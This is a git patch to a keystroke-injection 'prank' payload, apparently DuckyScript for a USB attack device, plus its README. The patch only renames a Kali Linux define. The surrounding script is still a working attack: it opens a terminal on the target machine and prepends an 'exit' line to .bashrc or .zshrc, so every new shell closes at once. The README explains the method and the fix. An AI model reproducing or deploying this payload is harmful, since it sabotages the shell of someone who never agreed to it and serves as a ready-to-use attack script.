From 3627585903b1c6ccb0b2e80260e384f9d10f2823 Mon Sep 17 00:00:00 2001 From: Aleff Date: Sat, 1 Jun 2024 10:50:35 +0200 Subject: [PATCH] Redefined from "#ONE_ONLY_IF..." to "#TARGET_KALI_LINUX" --- .../README.md | 2 +- .../payload.txt | 15 +++------------ 2 files changed, 4 insertions(+), 13 deletions(-) diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md index 0cdf12e..6b0b37b 100644 --- a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md +++ b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/README.md @@ -16,7 +16,7 @@ The described payload aims to modify the configuration file of the default shell However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`. -To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems. +To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#TARGET_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems. To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`. diff --git a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt index 2a3d61e..e6ee5ab 100644 --- a/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt +++ b/payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!/payload.txt @@ -8,14 +8,10 @@ REM # Target : Linux # REM # # REM ############################################################ - REM Requirements: REM - Nothing <3 - - REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution. -DEFINE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX TRUE - +DEFINE #TARGET_KALI_LINUX TRUE EXTENSION DETECT_READY REM VERSION 1.1 @@ -45,14 +41,11 @@ EXTENSION DETECT_READY CAPSLOCK END_EXTENSION - CTRL-ALT t DELAY 2000 - STRINGLN echo "exit" > .tmp DELAY 500 - -IF_DEFINED_TRUE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX +IF_DEFINED_TRUE #TARGET_KALI_LINUX STRINGLN cat .zshrc >> .tmp DELAY 500 STRINGLN mv .tmp >> .zshrc @@ -61,7 +54,5 @@ ELSE_DEFINED DELAY 500 STRINGLN mv .tmp >> .bashrc END_IF_DEFINED - DELAY 500 - -ALT F4 +ALT F4 \ No newline at end of file